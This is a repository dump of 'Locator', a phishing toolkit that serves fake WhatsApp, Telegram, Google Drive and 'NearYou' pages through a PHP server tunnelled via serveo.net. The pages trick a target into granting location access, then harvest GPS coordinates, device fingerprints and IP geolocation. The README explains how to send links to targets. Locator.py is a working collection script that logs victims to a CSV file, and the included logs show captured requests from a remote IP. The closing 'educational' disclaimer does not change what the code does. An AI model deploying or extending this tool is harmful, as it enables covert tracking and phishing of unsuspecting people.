├── .gitignore.txt
├── Dockerfile
├── LICENSE
├── Locator.py
├── README.md
├── arch_install.sh
├── db
└── results.csv
├── demos.json
├── install.sh
├── logs
├── php.log
└── serveo.txt
├── metadata.json
├── template
├── __init__.py
├── gdrive
│ ├── css
│ │ └── main.css
│ ├── fonts
│ │ ├── Roboto-Black.ttf
│ │ ├── Roboto-BlackItalic.ttf
│ │ ├── Roboto-Bold.ttf
│ │ ├── Roboto-BoldItalic.ttf
│ │ ├── Roboto-Italic.ttf
│ │ ├── Roboto-Light.ttf
│ │ ├── Roboto-LightItalic.ttf
│ │ ├── Roboto-Medium.ttf
│ │ ├── Roboto-MediumItalic.ttf
│ │ ├── Roboto-Regular.ttf
│ │ ├── Roboto-Thin.ttf
│ │ ├── Roboto-ThinItalic.ttf
│ │ └── pxiDypQkot1TnFhsFMOfGShVF9eO.woff2
│ ├── images
│ │ ├── 580b57fcd9996e24bc43c51f.png
│ │ ├── Google-Drive-logo1.png
│ │ ├── drive_favicon1.ico
│ │ ├── googlelogo_color_116x41dp.png
│ │ ├── locked_doc-1.svg
│ │ └── locked_doc-2.svg
│ ├── index.html
│ ├── js
│ │ ├── info.js
│ │ ├── location.js
│ │ └── location_temp.js
│ └── php
│ │ ├── error.php
│ │ ├── info.php
│ │ ├── info.txt
│ │ ├── result.php
│ │ └── result.txt
├── mod_gdrive.py
├── mod_telegram.py
├── mod_whatsapp.py
├── nearyou
│ ├── css
│ │ ├── main.css
│ │ └── worldmap.jpg
│ ├── index.html
│ ├── js
│ │ ├── info.js
│ │ ├── location.js
│ │ ├── main.js
│ │ └── warpspeed.min.js
│ └── php
│ │ ├── error.php
│ │ ├── info.php
│ │ ├── info.txt
│ │ ├── result.php
│ │ └── result.txt
├── sample.kml
├── telegram
│ ├── css
│ │ ├── bootstrap.min.css
│ │ ├── css
│ │ └── telegram.css
│ ├── favicon.ico
│ ├── images
│ │ └── Arrow_1x.png
│ ├── index.html
│ ├── index_temp.html
│ ├── js
│ │ ├── info.js
│ │ └── location.js
│ └── php
│ │ ├── error.php
│ │ ├── info.php
│ │ ├── info.txt
│ │ ├── result.php
│ │ └── result.txt
├── templates.json
└── whatsapp
│ ├── css
│ ├── Epf3I8GM5jv.css
│ └── s9hWiNS5894.css
│ ├── images
│ ├── -r3j-x8ZnM7.svg
│ ├── ZIvBTrQd9nP.png
│ └── rYZqPCBaG70.png
│ ├── index.html
│ ├── index_temp.html
│ ├── js
│ ├── info.js
│ └── location.js
│ └── php
│ ├── error.php
│ ├── info.php
│ ├── info.txt
│ ├── result.php
│ └── result.txt
├── termux_install.sh
└── version.txt
/.gitignore.txt:
--------------------------------------------------------------------------------
1 | db/results.csv
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu
2 | ENV DEBIAN_FRONTEND=teletype
3 | WORKDIR Locator/
4 | RUN echo "Asia/Sri Lanka" > /etc/timezone
5 | RUN apt-get update > install.log
6 | RUN apt-get -y install tzdata >> install.log
7 | RUN dpkg-reconfigure -f noninteractive tzdata >> install.log
8 | RUN apt-get -y install python3 \
9 | python3-pip \
10 | php \
11 | ssh >> install.log
12 | RUN pip3 install requests >> install.log
13 | ADD . /Locator
14 | RUN chmod 777 template/nearyou/php/info.txt
15 | RUN chmod 777 template/nearyou/php/result.txt
16 | CMD ["./Locator.py"]
17 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Óptane(CD)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Locator.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | #Developed by Óptane(Chamicara.Desilva)
4 |
5 | R = '\033[31m' # red
6 | G = '\033[32m' # green
7 | C = '\033[36m' # cyan
8 | W = '\033[0m' # white
9 |
10 | from shutil import which
11 |
12 | print(G + '[+]' + C + 'Obtaining for Dependencies...' + W)
13 | print(G + '[+]' + C + 'Connecting with Óptane Servers' + W)
14 | pkgs = ['python3', 'pip3', 'php', 'ssh']
15 | inst = True
16 | for pkg in pkgs:
17 | present = which(pkg)
18 | if present == None:
19 | print(R + '[-] ' + W + pkg + C + ' is not Installed!')
20 | inst = False
21 | else:
22 | pass
23 | if inst == False:
24 | exit()
25 | else:
26 | pass
27 |
28 | import os
29 | import csv
30 | import sys
31 | import time
32 | import json
33 | import argparse
34 | import requests
35 | import subprocess as subp
36 |
37 | parser = argparse.ArgumentParser()
38 | parser.add_argument('-s', '--subdomain', help='Provide Subdomain for Serveo URL ( Optional )')
39 | parser.add_argument('-k', '--kml', help='Provide KML Filename ( Optional )')
40 | parser.add_argument('-t', '--tunnel', help='Specify Tunnel Mode [ Available : manual ]')
41 | parser.add_argument('-p', '--port', type=int, default=8080, help='Port for Web Server [ Default : 8080 ]')
42 |
43 | args = parser.parse_args()
44 | subdom = args.subdomain
45 | kml_fname = args.kml
46 | tunnel_mode = args.tunnel
47 | port = args.port
48 |
49 | row = []
50 | info = ''
51 | result = ''
52 | version = '1.3.0'
53 |
54 | def banner():
55 | print (G +
56 | r'''
57 | _ ____ _____ _____ ______ ____ ____
58 | | | / __ || ___|| _ ||__ __|/ __ || |
59 | | | || ||| | | |_| | | | || ||| _|
60 | | |___ ||__||| |___ | _ | | | ||__||| |\ \
61 | |____ ||____/|_____||_| | | |__| |____/|_| \_\
62 | \/ \/ ''' + W)
63 | print('\n' + G + '[>]' + C + ' Developed By : ' + W + 'Óptane(Chamicara.Desilva)')
64 | print(G + '[>]' + C + ' Version : ' + W + version + '\n')
65 |
66 | def ver_check():
67 | print(G + '[+]' + C + ' Checking for Updates.....', end='')
68 | ver_url = 'https://raw.githubusercontent.com/Optane002/Locator/main/version.txt'
69 | try:
70 | ver_rqst = requests.get(ver_url)
71 | ver_sc = ver_rqst.status_code
72 | if ver_sc == 200:
73 | github_ver = ver_rqst.text
74 | github_ver = github_ver.strip()
75 |
76 | if version == github_ver:
77 | print(C + '[' + G + ' Up-To-Date ' + C +']' + '\n')
78 | else:
79 | print(C + '[' + G + ' Available : {} '.format(github_ver) + C + ']' + '\n')
80 | else:
81 | print(C + '[' + R + ' Status : {} '.format(ver_sc) + C + ']' + '\n')
82 | except Exception as e:
83 | print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e))
84 |
85 | def tunnel_select():
86 | if tunnel_mode == None:
87 | serveo()
88 | elif tunnel_mode == 'manual':
89 | print(G + '[+]' + C + ' Skipping Serveo, start your own tunnel service manually...' + W + '\n')
90 | else:
91 | print(R + '[+]' + C + ' Invalid Tunnel Mode Selected, Check Help [-h, --help]' + W + '\n')
92 | exit()
93 |
94 | def template_select():
95 | global site, info, result
96 | print(G + '[+]' + C + ' Select a Template : ' + W + '\n')
97 |
98 | with open('template/templates.json', 'r') as templ:
99 | templ_info = templ.read()
100 |
101 | templ_json = json.loads(templ_info)
102 |
103 | for item in templ_json['templates']:
104 | name = item['name']
105 | print(G + '[{}]'.format(templ_json['templates'].index(item)) + C + ' {}'.format(name) + W)
106 |
107 | selected = int(input(G + '[>] ' + W))
108 |
109 | try:
110 | site = templ_json['templates'][selected]['dir_name']
111 | except IndexError:
112 | print('\n' + R + '[-]' + C + ' Invalid Input!' + W + '\n')
113 | sys.exit()
114 |
115 | print('\n' + G + '[+]' + C + ' Loading {} Template...'.format(templ_json['templates'][selected]['name']) + W)
116 |
117 | module = templ_json['templates'][selected]['module']
118 | if module == True:
119 | imp_file = templ_json['templates'][selected]['import_file']
120 | import importlib
121 | importlib.import_module('template.{}'.format(imp_file))
122 | else:
123 | pass
124 |
125 | info = 'template/{}/php/info.txt'.format(site)
126 | result = 'template/{}/php/result.txt'.format(site)
127 |
128 | def serveo():
129 | global subdom
130 | flag = False
131 |
132 | print(G + '[+]' + C + ' Checking Serveo Status...', end='')
133 |
134 | try:
135 | time.sleep(1)
136 | rqst = requests.get('https://serveo.net', timeout=5)
137 | sc = rqst.status_code
138 | if sc == 200:
139 | print(C + '[' + G + ' Online ' + C + ']' + W + '\n')
140 | else:
141 | print(C + '[' + R + 'Status : {}'.format(sc) + C + ']' + W + '\n')
142 | exit()
143 | except requests.ConnectionError:
144 | print(C + '[' + R + ' Offline ' + C + ']' + W + '\n')
145 | exit()
146 |
147 | print(G + '[+]' + C + ' Getting Serveo URL...' + W + '\n')
148 | if subdom is None:
149 | with open('logs/serveo.txt', 'w') as tmpfile:
150 | proc = subp.Popen(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', '80:localhost:{}'.format(port), 'serveo.net'], stdout=tmpfile, stderr=tmpfile, stdin=subp.PIPE)
151 | else:
152 | with open('logs/serveo.txt', 'w') as tmpfile:
153 | proc = subp.Popen(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', '{}.serveo.net:80:localhost:{}'.format(subdom, port), 'serveo.net'], stdout=tmpfile, stderr=tmpfile, stdin=subp.PIPE)
154 |
155 | while True:
156 | with open('logs/serveo.txt', 'r') as tmpfile:
157 | try:
158 | stdout = tmpfile.readlines()
159 | if flag == False:
160 | for elem in stdout:
161 | if 'HTTP' in elem:
162 | elem = elem.split(' ')
163 | url = elem[4].strip()
164 | print(G + '[+]' + C + ' URL : ' + W + url + '\n')
165 | flag = True
166 | else:
167 | pass
168 | elif flag == True:
169 | break
170 | except Exception as e:
171 | print(e)
172 | pass
173 | time.sleep(2)
174 |
175 | def server():
176 | print('\n' + G + '[+]' + C + ' Port : '+ W + str(port))
177 | print('\n' + G + '[+]' + C + ' Starting PHP Server......' + W, end='')
178 | with open('logs/php.log', 'w') as phplog:
179 | subp.Popen(['php', '-S', '0.0.0.0:{}'.format(port), '-t', 'template/{}/'.format(site)], stdout=phplog, stderr=phplog)
180 | time.sleep(3)
181 | try:
182 | php_rqst = requests.get('http://0.0.0.0:{}/index.html'.format(port))
183 | php_sc = php_rqst.status_code
184 | if php_sc == 200:
185 | print(C + '[' + G + ' Success ' + C + ']' + W)
186 | else:
187 | print(C + '[' + R + 'Status : {}'.format(php_sc) + C + ']' + W)
188 | except requests.ConnectionError:
189 | print(C + '[' + R + ' Failed ' + C + ']' + W)
190 | Quit()
191 |
192 | def wait():
193 | printed = False
194 | while True:
195 | time.sleep(2)
196 | size = os.path.getsize(result)
197 | if size == 0 and printed == False:
198 | print('\n' + G + '[+]' + C + ' Waiting for User Interaction...' + W + '\n')
199 | printed = True
200 | if size > 0:
201 | main()
202 |
203 | def main():
204 | global info, result, row, var_lat, var_lon
205 | try:
206 | row = []
207 | with open (info, 'r') as file2:
208 | file2 = file2.read()
209 | json3 = json.loads(file2)
210 | for value in json3['dev']:
211 |
212 | var_os = value['os']
213 | var_platform = value['platform']
214 | try:
215 | var_cores = value['cores']
216 | except TypeError:
217 | var_cores = 'Not Available'
218 | var_ram = value['ram']
219 | var_vendor = value['vendor']
220 | var_render = value['render']
221 | var_res = value['wd'] + 'x' + value['ht']
222 | var_browser = value['browser']
223 | var_ip = value['ip']
224 |
225 | row.append(var_os)
226 | row.append(var_platform)
227 | row.append(var_cores)
228 | row.append(var_ram)
229 | row.append(var_vendor)
230 | row.append(var_render)
231 | row.append(var_res)
232 | row.append(var_browser)
233 | row.append(var_ip)
234 |
235 | print(G + '[+]' + C + ' Device Information : ' + W + '\n')
236 | print(G + '[+]' + C + ' OS : ' + W + var_os)
237 | print(G + '[+]' + C + ' Platform : ' + W + var_platform)
238 | print(G + '[+]' + C + ' CPU Cores : ' + W + var_cores)
239 | print(G + '[+]' + C + ' RAM : ' + W + var_ram)
240 | print(G + '[+]' + C + ' GPU Vendor : ' + W + var_vendor)
241 | print(G + '[+]' + C + ' GPU : ' + W + var_render)
242 | print(G + '[+]' + C + ' Resolution : ' + W + var_res)
243 | print(G + '[+]' + C + ' Browser : ' + W + var_browser)
244 | print(G + '[+]' + C + ' Public IP : ' + W + var_ip)
245 |
246 | rqst = requests.get('http://free.ipwhois.io/json/{}'.format(var_ip))
247 | sc = rqst.status_code
248 |
249 | if sc == 200:
250 | data = rqst.text
251 | data = json.loads(data)
252 | var_continent = str(data['continent'])
253 | var_country = str(data['country'])
254 | var_region = str(data['region'])
255 | var_city = str(data['city'])
256 | var_org = str(data['org'])
257 | var_isp = str(data['isp'])
258 |
259 | row.append(var_continent)
260 | row.append(var_country)
261 | row.append(var_region)
262 | row.append(var_city)
263 | row.append(var_org)
264 | row.append(var_isp)
265 |
266 | print(G + '[+]' + C + ' Continent : ' + W + var_continent)
267 | print(G + '[+]' + C + ' Country : ' + W + var_country)
268 | print(G + '[+]' + C + ' Region : ' + W + var_region)
269 | print(G + '[+]' + C + ' City : ' + W + var_city)
270 | print(G + '[+]' + C + ' Org : ' + W + var_org)
271 | print(G + '[+]' + C + ' ISP : ' + W + var_isp)
272 | except ValueError:
273 | pass
274 |
275 | try:
276 | with open (result, 'r') as file:
277 | file = file.read()
278 | json2 = json.loads(file)
279 | for value in json2['info']:
280 | var_lat = value['lat'] + ' deg'
281 | var_lon = value['lon'] + ' deg'
282 | var_acc = value['acc'] + ' m'
283 |
284 | var_alt = value['alt']
285 | if var_alt == '':
286 | var_alt = 'Not Available'
287 | else:
288 | var_alt == value['alt'] + ' m'
289 |
290 | var_dir = value['dir']
291 | if var_dir == '':
292 | var_dir = 'Not Available'
293 | else:
294 | var_dir = value['dir'] + ' deg'
295 |
296 | var_spd = value['spd']
297 | if var_spd == '':
298 | var_spd = 'Not Available'
299 | else:
300 | var_spd = value['spd'] + ' m/s'
301 |
302 | row.append(var_lat)
303 | row.append(var_lon)
304 | row.append(var_acc)
305 | row.append(var_alt)
306 | row.append(var_dir)
307 | row.append(var_spd)
308 |
309 | print ('\n' + G + '[+]' + C + ' Location Information : ' + W + '\n')
310 | print (G + '[+]' + C + ' Latitude : ' + W + var_lat)
311 | print (G + '[+]' + C + ' Longitude : ' + W + var_lon)
312 | print (G + '[+]' + C + ' Accuracy : ' + W + var_acc)
313 | print (G + '[+]' + C + ' Altitude : ' + W + var_alt)
314 | print (G + '[+]' + C + ' Direction : ' + W + var_dir)
315 | print (G + '[+]' + C + ' Speed : ' + W + var_spd)
316 | except ValueError:
317 | error = file
318 | print ('\n' + R + '[-] ' + W + error)
319 | repeat()
320 |
321 | print ('\n' + G + '[+]' + C + ' Google Maps.................: ' + W + 'https://www.google.com/maps/place/' + var_lat.strip(' deg') + '+' + var_lon.strip(' deg'))
322 |
323 | if kml_fname is not None:
324 | kmlout(var_lat, var_lon)
325 |
326 | csvout()
327 | repeat()
328 |
329 | def kmlout(var_lat, var_lon):
330 | with open('template/sample.kml', 'r') as kml_sample:
331 | kml_sample_data = kml_sample.read()
332 |
333 | kml_sample_data = kml_sample_data.replace('LONGITUDE', var_lon.strip(' deg'))
334 | kml_sample_data = kml_sample_data.replace('LATITUDE', var_lat.strip(' deg'))
335 |
336 | with open('{}.kml'.format(kml_fname), 'w') as kml_gen:
337 | kml_gen.write(kml_sample_data)
338 |
339 | print(G + '[+]' + C + ' KML File Generated..........: ' + W + os.getcwd() + '/{}.kml'.format(kml_fname))
340 |
341 | def csvout():
342 | global row
343 | with open('db/results.csv', 'a') as csvfile:
344 | writer = csv.writer(csvfile)
345 | writer.writerow(row)
346 | print(G + '[+]' + C + ' New Entry Added in Database.: ' + W + os.getcwd() + '/db/results.csv')
347 |
348 | def clear():
349 | global result
350 | with open (result, 'w+'): pass
351 | with open (info, 'w+'): pass
352 |
353 | def repeat():
354 | clear()
355 | wait()
356 | main()
357 |
358 | def Quit():
359 | global result
360 | with open (result, 'w+'): pass
361 | os.system('pkill php')
362 | exit()
363 |
364 | try:
365 | banner()
366 | ver_check()
367 | tunnel_select()
368 | template_select()
369 | server()
370 | wait()
371 | main()
372 |
373 | except KeyboardInterrupt:
374 | print ('\n' + R + '[!]' + C + ' Keyboard Interrupt,terminating...' + W)
375 | Quit()
376 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Twitter
8 | -
9 | Telegram
10 | -
11 | Keep Eyes on "Dark" YouTube Channel
12 |
13 |
14 | Concept behind Locator is simple, just like we host phishing pages to get credentials why not host a fake page that requests your location like many popular location based websites.Locator Hosts a fake website on **In Built PHP Server** and uses **Serveo** to generate a link which we will forward to the target, website asks for Location Permission and if the target allows it, we can get :
15 |
16 | * Longitude
17 | * Latitude
18 | * Accuracy
19 | * Altitude - Not always available
20 | * Direction - Only available if user is moving
21 | * Speed - Only available if user is moving
22 |
23 | Along with Location Information we also get **Device Information** without any permissions :
24 |
25 | * Operating System
26 | * Platform
27 | * Number of CPU Cores
28 | * Amount of RAM - Approximate Results
29 | * Screen Resolution
30 | * GPU information
31 | * Browser Name and Version
32 | * Public IP Address
33 | * IP Address Reconnaissance
34 |
35 | ## How is this Different from IP GeoLocation
36 |
37 | * Other tools and services offer IP Geolocation which is NOT accurate at all and does not give location of the target instead it is the approximate location of the ISP.
38 |
39 | * Locator uses HTML API and gets Location Permission and then grabs Longitude and Latitude using GPS Hardware which is present in the device, so Locator works best with Smartphones, if the GPS Hardware is not present, such as on a Laptop, Locator fallbacks to IP Geolocation or it will look for Cached Coordinates.
40 |
41 | * Generally if a user accepts location permsission, Accuracy of the information recieved is **accurate to approximately 30 meters**, Accuracy Depends on the Device.
42 |
43 | **Note** : On iPhone due to some reason location accuracy is approximately 65 meters.
44 |
45 | ## Templates
46 |
47 | You can choose a template which will be used by Locator from these :
48 |
49 | * NearYou
50 | * Google Drive
51 | * WhatsApp
52 | * Telegram
53 |
54 | ## Tested On :
55 |
56 | * Kali Linux
57 | * BlackArch Linux
58 | * Ubuntu
59 | * Kali Nethunter
60 | * Termux
61 | * Parrot OS
62 |
63 | ## Setup Ngrok server
64 |
65 | * visit ngrok official website and claim your free account to download the setup.
66 | * Make sure while you're using ngrok servers,your internet connection is better to interchange the packets.If not you cannot continue this progress.
67 |
68 | * If you want to get know more about ngrok using/handlings please visit there Documentations page here. Docs
69 |
70 | ## Installation
71 |
72 | ### Kali Linux / Ubuntu / Parrot OS
73 |
74 | ```bash
75 | git clone https://github.com/Optane002/Locator.git
76 | cd Locator/
77 | chmod 777 install.sh
78 | ./install.sh
79 | ```
80 |
81 | ### BlackArch Linux
82 |
83 | ```bash
84 | pacman -S Locator
85 | ```
86 |
87 | ### Docker
88 |
89 | ```bash
90 | docker pull Optane002/Locator
91 | ```
92 |
93 | ### Termux
94 |
95 | ```bash
96 | git clone https://github.com/Optane002/Locator.git
97 | cd Locator/
98 | chmod 777 termux_install.sh
99 | ./termux_install.sh
100 | ```
101 |
102 | ## Usage
103 |
104 | ```bash
105 | python3 Locator.py -h
106 |
107 | usage: Locator.py [-h] [-s SUBDOMAIN]
108 |
109 | optional arguments:
110 | -h, --help show this help message and exit
111 | -s SUBDOMAIN, --subdomain Subdomain Provide Subdomain for Serveo URL ( Optional )
112 | -k KML, --kml KML Provide KML Filename ( Optional )
113 | -t TUNNEL, --tunnel TUNNEL Specify Tunnel Mode [manual]
114 |
115 | # Example
116 |
117 | # SERVEO
118 | ########
119 | python3 Locator.py
120 |
121 | # NGROK ETC.
122 | ############
123 |
124 | # In First Terminal Start Locator in Manual mode like this
125 | python3 Locator.py -t manual
126 |
127 | # In Second Terminal Start Ngrok or any other tunnel service on port 8080
128 | ./ngrok http 8080
129 |
130 | #-----------------------------------#
131 |
132 | # Subdomain
133 | ###########
134 | python3 Locator.py --subdomain google
135 | python3 Locator.py --tunnel manual --subdomain zomato
136 |
137 | #-----------------------------------#
138 |
139 | # Docker Usage
140 | ##############
141 |
142 | # SERVEO
143 | ########
144 | docker run -t --rm Optane002/Locator
145 |
146 | # NGROK
147 | #######
148 |
149 | # Step 1
150 | docker network create ngroknet
151 |
152 | # Step 2
153 | docker run --rm -t --net ngroknet --name Locator Optane002/Locator python3 Locator.py -t manual
154 |
155 | # Step 3
156 | docker run --rm -t --net ngroknet --name ngrok wernight/ngrok ngrok http Locator:8080
157 | ```
158 |
159 | ## Known Problems
160 |
161 | * Services like Serveo and Ngrok are banned in some countries such as Russia etc., so if it's banned in your country you may not get a URL, if not then first READ CLOSED ISSUES, if your problem is not listed, create a new issue.
162 |
163 | ## Please Be Mentioned
164 |
165 | **This tool is a Proof of Concept and is for Educational Purposes Only, Locator shows what data a malicious website can gather about you and your devices and why you should not click on random links and allow critical permissions such as Location etc.**
166 |
167 |
--------------------------------------------------------------------------------
/arch_install.sh:
--------------------------------------------------------------------------------
1 | echo '[!] Updating...'
2 | pacman -Sy > install.log
3 | echo
4 | echo '[!] Installing Dependencies...'
5 | echo ' Python3'
6 | yes | pacman -S python3 python-pip --needed &>> install.log
7 | echo ' PHP'
8 | yes | pacman -S php --needed &>> install.log
9 | echo ' ssh'
10 | yes | pacman -S openssh --needed &>> install.log
11 | echo ' Requests'
12 | pip3 install requests &>> install.log
13 | echo
14 | echo '[!] Setting Permissions...'
15 | chmod 777 template/nearyou/php/info.txt
16 | chmod 777 template/nearyou/php/result.txt
17 | echo
18 | echo '[!] Installed.'
19 |
--------------------------------------------------------------------------------
/db/results.csv:
--------------------------------------------------------------------------------
1 | OS,Platform,CPU Cores,RAM,GPU Vendor,GPU,Resolution,Browser,IP Address,Continent,Country,Region,City,Organisation,ISP,Latitude,Longitude,Accuracy,Altitude,Direction,Speed
2 |
--------------------------------------------------------------------------------
/demos.json:
--------------------------------------------------------------------------------
1 | {
2 | "demos": {
3 | "WhatsApp Template Demo" : "https://www.youtube.com/watch?v=dG0HkQmF4-A",
4 | "What's new in v1.1.9" : "https://www.youtube.com/watch?v=FEyAPjkJFrk",
5 | }
6 | }
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | echo '[!] Updating...'
2 | apt-get update > install.log
3 | echo
4 | echo '[!] Installing Dependencies...'
5 | echo ' Python3'
6 | apt-get -y install python3 python3-pip &>> install.log
7 | echo ' PHP'
8 | apt-get -y install php &>> install.log
9 | echo ' ssh'
10 | apt-get -y install ssh &>> install.log
11 | echo ' Requests'
12 | pip3 install requests &>> install.log
13 | echo
14 | echo '[!] Setting Permissions...'
15 | chmod 777 template/nearyou/php/info.txt
16 | chmod 777 template/nearyou/php/result.txt
17 | echo
18 | echo '[!] Installed.'
19 |
--------------------------------------------------------------------------------
/logs/php.log:
--------------------------------------------------------------------------------
1 | [Sat Aug 24 10:03:14 2019] 127.0.0.1:46454 [200]: /nearyou/index.html
2 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46460 [200]: /nearyou/
3 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46464 [200]: /nearyou/css/main.css
4 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46468 [200]: /nearyou/js/main.js
5 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46472 [200]: /nearyou/js/location.js
6 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46476 [200]: /nearyou/js/warpspeed.min.js
7 | [Sat Aug 24 10:03:27 2019] 127.0.0.1:46480 [200]: /nearyou/js/info.js
8 | [Sat Aug 24 10:03:28 2019] 127.0.0.1:46484 [200]: /nearyou/
9 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46488 [200]: /nearyou/css/main.css
10 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46492 [200]: /nearyou/js/main.js
11 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46496 [200]: /nearyou/js/location.js
12 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46500 [200]: /nearyou/js/info.js
13 | [Sat Aug 24 10:03:29 2019] 127.0.0.1:46504 [200]: /nearyou/js/warpspeed.min.js
14 | [Sat Aug 24 10:03:30 2019] 127.0.0.1:46508 [200]: /nearyou/php/info.php
15 | [Sat Aug 24 10:03:32 2019] 127.0.0.1:46512 [200]: /nearyou/php/result.php
16 | PHP 7.3.8 Development Server started at Sat Aug 24 10:03:12 2019
17 | Listening on http://127.0.0.1:8080
18 | Document root is /home/unknown/tools/seeker/template
19 | Press Ctrl-C to quit.
20 |
--------------------------------------------------------------------------------
/logs/serveo.txt:
--------------------------------------------------------------------------------
1 | Pseudo-terminal will not be allocated because stdin is not a terminal.
2 | [32mForwarding HTTP traffic from https://vere.serveo.net
3 | [0mHTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/
4 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/css/main.css
5 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/main.js
6 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/location.js
7 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/warpspeed.min.js
8 | HTTP request from 103.87.59.55 to http://vere.serveo.net/nearyou/js/info.js
9 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/
10 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/css/main.css
11 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/main.js
12 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/location.js
13 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/info.js
14 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/js/warpspeed.min.js
15 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/php/info.php
16 | HTTP request from 103.87.59.55 to https://vere.serveo.net/nearyou/php/result.php
17 |
--------------------------------------------------------------------------------
/metadata.json:
--------------------------------------------------------------------------------
1 | {
2 | "metadata":
3 | {
4 | "name": "Locator v1.2",
5 | "author": "Óptane(CD)",
6 | "version": "1.2.0",
7 | "twitter": "",
8 | "discord": ""
9 | }
10 | }
--------------------------------------------------------------------------------
/template/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/template/gdrive/css/main.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | font-family: Product Sans;
3 | font-style: normal;
4 | font-weight: 400;
5 | src: url('/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2') format('woff2');
6 | }
7 |
8 | body {
9 | background-color: #ffffff;
10 | font-size: 13px;
11 | margin: 0;
12 | padding: 0;
13 | font-family: Arial,sans-serif;
14 | }
15 |
16 | #outerContainer {
17 | margin: auto;
18 | max-width: 750px;
19 | }
20 |
21 | #innerContainer {
22 | margin-bottom: 20px;
23 | margin-left: 40px;
24 | margin-right: 40px;
25 | margin-top: 180px;
26 | position: relative;
27 | }
28 |
29 | #drive-logo {
30 | margin: 18px 0;
31 | position: absolute;
32 | white-space: nowrap;
33 | }
34 |
35 | .docs-drivelogo-img {
36 | background-image: url('/images/googlelogo_color_116x41dp.png');
37 | background-size: 116px 41px;
38 | display: inline-block;
39 | height: 41px;
40 | vertical-align: bottom;
41 | width: 116px;
42 | }
43 |
44 | .docs-drivelogo-text {
45 | color: #000;
46 | display: inline-block;
47 | opacity: 0.54;
48 | text-decoration: none;
49 | font-family: 'Product Sans',Arial,Helvetica,sans-serif;
50 | font-size: 32px;
51 | text-rendering: optimizeLegibility;
52 | position: relative;
53 | top: -6px;
54 | left: -7px;
55 | -webkit-font-smoothing: antialiased;
56 | -moz-osx-font-smoothing: grayscale;
57 | }
58 |
59 | #main {
60 | position: relative;
61 | width: 640px;
62 | top: 30px;
63 | }
64 |
65 | #accessDeniedIcon {
66 | background-image: url('/images/locked_doc-2.svg');
67 | float: right;
68 | height: 158px;
69 | width: 128px;
70 | }
71 |
72 | #accessDeniedHeader {
73 | color: #222;
74 | font: 32px Arial, sans-serif;
75 | }
76 |
77 | #message {
78 | color: #222;
79 | font: 15px/1.6 Arial, sans-serif;
80 | width: 480px;
81 | }
82 |
83 | button.jfk-button {
84 | font-family: arial,sans-serif;
85 | height: auto;
86 | }
87 |
88 | .jfk-button-action {
89 | -webkit-box-shadow: none;
90 | -moz-box-shadow: none;
91 | box-shadow: none;
92 | background-color: #4d90fe;
93 | background-image: -webkit-linear-gradient(top,#4d90fe,#4787ed);
94 | background-image: -moz-linear-gradient(top,#4d90fe,#4787ed);
95 | background-image: -ms-linear-gradient(top,#4d90fe,#4787ed);
96 | background-image: -o-linear-gradient(top,#4d90fe,#4787ed);
97 | background-image: linear-gradient(top,#4d90fe,#4787ed);
98 | border: 1px solid #3079ed;
99 | color: #fff;
100 | }
101 |
102 | .jfk-button {
103 | -webkit-border-radius: 2px;
104 | -moz-border-radius: 2px;
105 | border-radius: 2px;
106 | cursor: default;
107 | font-size: 11px;
108 | font-weight: bold;
109 | text-align: center;
110 | white-space: nowrap;
111 | margin-right: 16px;
112 | height: 27px;
113 | line-height: 27px;
114 | min-width: 54px;
